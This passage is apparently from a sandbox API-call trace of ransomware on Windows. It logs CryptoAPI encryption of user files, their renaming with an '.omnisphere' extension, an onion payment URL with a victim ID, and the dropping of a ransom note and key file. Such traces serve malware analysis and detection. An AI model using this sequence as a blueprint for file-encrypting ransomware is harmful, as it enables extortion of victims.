[0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.824] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.824] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.824] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.824] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.824] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.824] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.825] CryptDestroyKey (hKey=0x1639728) returned 1 [0068.825] CryptReleaseContext (hProv=0x163bc18, dwFlags=0x0) returned 1 [0068.825] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xa1b9, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0068.825] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0068.825] GetProcessHeap () returned 0x1600000 [0068.825] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x286) returned 0x1658428 [0068.825] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\R7Xo1pIDUa2Xzbh.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\r7xo1pidua2xzbh.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\R7Xo1pIDUa2Xzbh.m4a.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\r7xo1pidua2xzbh.m4a.omnisphere")) returned 1 [0068.828] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\R7Xo1pIDUa2Xzbh.m4a.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\R7Xo1pIDUa2Xzbh.m4a.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\R7Xo1pIDUa2Xzbh.m4a.omnisphere.id" [0068.828] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\R7Xo1pIDUa2Xzbh.m4a.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\r7xo1pidua2xzbh.m4a.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0068.830] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0068.831] CloseHandle (hObject=0x3a8) returned 1 [0068.832] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0068.832] CloseHandle (hObject=0x3a4) returned 1 [0068.832] SetEndOfFile (hFile=0x3a0) returned 1 [0068.832] FlushFileBuffers (hFile=0x3a0) returned 1 [0068.836] CloseHandle (hObject=0x3a0) returned 1 [0068.836] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\R7Xo1pIDUa2Xzbh.m4a" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0068.836] GetProcessHeap () returned 0x1600000 [0068.836] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16586b8 [0068.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0068.837] GetProcessHeap () returned 0x1600000 [0068.837] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641cf0 [0068.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641cf0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0068.837] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0068.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.837] GetProcessHeap () returned 0x1600000 [0068.837] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f990 [0068.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f990, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0068.837] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0068.837] GetProcessHeap () returned 0x1600000 [0068.837] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163c498 [0068.837] PathCombineW (in: pszDest=0x163c498, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0068.837] GetProcessHeap () returned 0x1600000 [0068.837] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x165ba08 [0068.837] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.837] WriteFile (in: hFile=0x3a0, lpBuffer=0x165ba08*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x165ba08*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0068.837] CloseHandle (hObject=0x3a0) returned 1 [0068.838] GetProcessHeap () returned 0x1600000 [0068.838] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16586b8 | out: hHeap=0x1600000) returned 1 [0068.838] GetProcessHeap () returned 0x1600000 [0068.838] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163fd80 [0068.838] PathCombineW (in: pszDest=0x163fd80, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0068.838] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.838] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0068.838] CloseHandle (hObject=0x3a0) returned 1 [0068.838] GetProcessHeap () returned 0x1600000 [0068.838] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fd80 | out: hHeap=0x1600000) returned 1 [0068.838] GetProcessHeap () returned 0x1600000 [0068.838] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163ff80 | out: hHeap=0x1600000) returned 1 [0068.838] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89364190, ftCreationTime.dwHighDateTime=0x1d4d1e4, ftLastAccessTime.dwLowDateTime=0x949891f0, ftLastAccessTime.dwHighDateTime=0x1d4cb86, ftLastWriteTime.dwLowDateTime=0x949891f0, ftLastWriteTime.dwHighDateTime=0x1d4cb86, nFileSizeHigh=0x0, nFileSizeLow=0x4093, dwReserved0=0x0, dwReserved1=0xed, cFileName="s5dkeFUgebSmSVLuL.gif", cAlternateFileName="S5DKEF~1.GIF")) returned 1 [0068.838] GetProcessHeap () returned 0x1600000 [0068.838] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7a) returned 0x163c520 [0068.838] PathCombineW (in: pszDest=0x163c520, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="s5dkeFUgebSmSVLuL.gif" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\s5dkeFUgebSmSVLuL.gif") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\s5dkeFUgebSmSVLuL.gif" [0068.838] StrStrW (lpFirst=".omnisphere", lpSrch=".gif") returned 0x0 [0068.838] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\s5dkeFUgebSmSVLuL.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\s5dkefugebsmsvlul.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.839] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=16531) returned 1 [0068.839] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x3b6f, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0068.839] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.839] GetTickCount () returned 0x11517da [0068.840] GetTickCount () returned 0x11517da [0068.840] GetTickCount () returned 0x11517da [0068.840] GetTickCount () returned 0x11517da [0068.840] GetTickCount () returned 0x11517da [0068.840] GetTickCount () returned 0x11517da [0068.840] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163bd28) returned 1 [0068.840] CryptImportKey (in: hProv=0x163bd28, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639a28) returned 1 [0068.840] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0068.841] CryptDestroyKey (hKey=0x1639a28) returned 1 [0068.841] CryptReleaseContext (hProv=0x163bd28, dwFlags=0x0) returned 1 [0068.841] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4093, lpName=0x0) returned 0x3a4 [0068.841] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4093) returned 0x3430000 [0068.841] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163bca0) returned 1 [0068.842] CryptImportKey (in: hProv=0x163bca0, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639a28) returned 1 [0068.842] CryptSetKeyParam (hKey=0x1639a28, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0068.842] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0068.842] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.842] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.842] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.843] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.844] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, 